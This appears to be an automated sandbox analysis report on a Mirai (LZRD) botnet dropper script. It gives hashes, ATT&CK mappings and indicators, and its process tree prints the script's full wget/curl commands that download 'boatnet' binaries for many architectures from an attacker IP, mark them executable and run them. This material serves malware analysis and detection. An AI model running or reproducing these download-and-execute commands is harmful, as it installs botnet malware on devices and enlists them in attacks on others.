mirai | ab63171a0b3118f9a223b6f0cf23303cdd2aafcbdff1e8024e9728a91f99ae8d

Analysis

max time kernel
149s
max time network
46s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
11/03/2025, 08:32

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General

Target

ohshit.sh
Size

2KB
MD5

37b42f54fe3c72cb1eb5543a6c17f546
SHA1

637b619c1d425218ed7ec1ae064fc85196423c45
SHA256

ab63171a0b3118f9a223b6f0cf23303cdd2aafcbdff1e8024e9728a91f99ae8d
SHA512

e201190305d13d12894dfe7c8cd9f0c5022ebbd3af2d573f64433f676c1b22131f1abecc9f85bce3b453de6661a10291595318d15f025465360fa52c78089f8a

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
791	chmod
796	chmod
826	chmod
717	chmod
723	chmod
731	chmod
841	chmod
859	chmod
877	chmod
756	chmod
865	chmod
871	chmod
784	chmod
847	chmod
853	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	718	ohshit.sh
/tmp/WTF	724	ohshit.sh
/tmp/WTF	732	ohshit.sh
/tmp/WTF	757	ohshit.sh
/tmp/WTF	786	ohshit.sh
/tmp/WTF	792	ohshit.sh
/tmp/WTF	798	ohshit.sh
/tmp/WTF	827	ohshit.sh
/tmp/WTF	842	ohshit.sh
/tmp/WTF	848	ohshit.sh
/tmp/WTF	854	ohshit.sh
/tmp/WTF	860	ohshit.sh
/tmp/WTF	866	ohshit.sh
/tmp/WTF	872	ohshit.sh
/tmp/WTF	878	ohshit.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx
behavioral3/files/fstream-4.dat	upx

Reads runtime system information 58 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/760/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/793/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/685/cmdline	WTF
File opened for reading	/proc/743/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/656/cmdline	WTF
File opened for reading	/proc/680/cmdline	WTF
File opened for reading	/proc/764/cmdline	WTF
File opened for reading	/proc/845/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/663/cmdline	WTF
File opened for reading	/proc/684/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/862/cmdline	WTF
File opened for reading	/proc/686/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/844/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/690/cmdline	WTF
File opened for reading	/proc/765/cmdline	WTF
File opened for reading	/proc/792/cmdline	WTF
File opened for reading	/proc/857/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/769/cmdline	WTF
File opened for reading	/proc/789/cmdline	WTF
File opened for reading	/proc/815/cmdline	WTF
File opened for reading	/proc/652/cmdline	WTF
File opened for reading	/proc/727/cmdline	WTF
File opened for reading	/proc/801/cmdline	WTF
File opened for reading	/proc/851/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/830/cmdline	WTF
File opened for reading	/proc/863/cmdline	WTF
File opened for reading	/proc/688/cmdline	WTF
File opened for reading	/proc/782/cmdline	WTF
File opened for reading	/proc/794/cmdline	WTF
File opened for reading	/proc/809/cmdline	WTF
File opened for reading	/proc/657/cmdline	WTF
File opened for reading	/proc/814/cmdline	WTF
File opened for reading	/proc/679/cmdline	WTF
File opened for reading	/proc/786/cmdline	WTF
File opened for reading	/proc/812/cmdline	WTF
File opened for reading	/proc/868/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/874/cmdline	WTF
File opened for reading	/proc/875/cmdline	WTF
File opened for reading	/proc/664/cmdline	WTF
File opened for reading	/proc/696/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/774/cmdline	WTF
File opened for reading	/proc/856/cmdline	WTF
File opened for reading	/proc/744/cmdline	WTF

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
720	wget
721	curl
722	cat

Writes file to tmp directory 27 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.arm6	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:688
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:692
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:712
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:716
- /bin/chmod
  chmod +x boatnet.x86 ohshit.sh systemd-private-5f1d468cb31c4bf0bd58bbbebb241e54-systemd-timedated.service-4KrhZr WTF
  2⤵
  - File and Directory Permissions Modification
  PID:717
- /tmp/WTF
  ./WTF
  2⤵
  PID:718
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:720
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:721
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:722
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-5f1d468cb31c4bf0bd58bbbebb241e54-systemd-timedated.service-4KrhZr WTF
  2⤵
  - File and Directory Permissions Modification
  PID:723
- /tmp/WTF
  ./WTF
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:724
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.arc
  2⤵
  PID:728
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:730
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-5f1d468cb31c4bf0bd58bbbebb241e54-systemd-timedated.service-4KrhZr WTF
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/WTF
  ./WTF
  2⤵
  PID:732
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.i468
  2⤵
  PID:735
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:754
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-5f1d468cb31c4bf0bd58bbbebb241e54-systemd-timedated.service-4KrhZr WTF
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/WTF
  ./WTF
  2⤵
  PID:757
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.i686
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:770
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:783
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-5f1d468cb31c4bf0bd58bbbebb241e54-systemd-timedated.service-4KrhZr WTF
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/WTF
  ./WTF
  2⤵
  PID:786
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.x86_64
  2⤵
  PID:787
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:790
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5f1d468cb31c4bf0bd58bbbebb241e54-systemd-timedated.service-4KrhZr WTF
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/WTF
  ./WTF
  2⤵
  PID:792
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:793
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:795
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5f1d468cb31c4bf0bd58bbbebb241e54-systemd-timedated.service-4KrhZr WTF
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/WTF
  ./WTF
  2⤵
  PID:798
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:801
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:812
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:825
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-5f1d468cb31c4bf0bd58bbbebb241e54-systemd-timedated.service-4KrhZr WTF
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/WTF
  ./WTF
  2⤵
  PID:827
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:840
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/WTF
  ./WTF
  2⤵
  PID:842
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:844
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:846
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/WTF
  ./WTF
  2⤵
  PID:848
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:850
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851
- /bin/cat
  cat boatnet.arm7
  2⤵
  PID:852
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/WTF
  ./WTF
  2⤵
  PID:854
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:856
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:857
- /bin/cat
  cat boatnet.ppc
  2⤵
  PID:858
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/WTF
  ./WTF
  2⤵
  PID:860
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:862
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/cat
  cat boatnet.spc
  2⤵
  PID:864
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/WTF
  ./WTF
  2⤵
  PID:866
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:868
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/cat
  cat boatnet.m68k
  2⤵
  PID:870
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/WTF
  ./WTF
  2⤵
  PID:872
- /usr/bin/wget
  wget http://107.172.82.193/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:874
- /usr/bin/curl
  curl -O http://107.172.82.193/hiddenbin/boatnet.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/cat
  cat boatnet.sh4
  2⤵
  PID:876
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/WTF
  ./WTF
  2⤵
  PID:878

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WTF

Filesize
23KB

MD5
6e0d03239183153de8b328368eec14c0

SHA1
d4436c25ca650862b1d626bc735d621720c850c3

SHA256
c28c0adf305d4225c9d21fa9c254519a07e24d4411b42b99c85d882be65a0d1b

SHA512
e96bfb589fa14c9b373d12765b52d17d8f505ee2e55d26bae4067a0d738d89e4e5490927060f8331569c7df4943719fb12e4c36b464eb3c9496abdd8da80edcd

Download Submit
/tmp/WTF

Filesize
162B

MD5
1b7c22a214949975556626d7217e9a39

SHA1
d01c97e2944166ed23e47e4a62ff471ab8fa031f

SHA256
340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87

SHA512
ba64847cf1d4157d50abe4f4a1e5c1996fe387c5808e2f758c7fb3213bfefe1f3712d343f0c30a16819749840954654a70611d2250fd0f7b032429db7afd2cc5

Download Submit
/tmp/WTF

Filesize
57KB

MD5
d55ad7ddc6b166522c3225839df619c3

SHA1
bb4c61e25abce482514e76907840605cf1abbbf8

SHA256
6c73b9ee290ffc3d5671821ea05d67ca012b3617a432107dbfe8fab0f1b6d7c7

SHA512
94508665c042fae60ce9e21b262f120c7f5b19a92e55c497408c0d71f4a51718315465070bffec2e9293a73b99734a3c7bdbbedce33d80a8cca667e939170916

Download Submit
/tmp/boatnet.x86

Filesize
20KB

MD5
681dd964889eddd4cfdc230ba745767b

SHA1
bdb24c1844bc8285e2bf781613149f6db7b4928d

SHA256
fca185b5efc7e5df44003d8612f179414eadb71c31386c707a7e6f1f8809790e

SHA512
ac2556dd6bf5c1fde0c0eea5c78037274065cbb5231969d572c8df8dafe3740c49d2c681d21e3abc0f786f1c617162af4c955543f28fe1462dbd196565c655a4

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads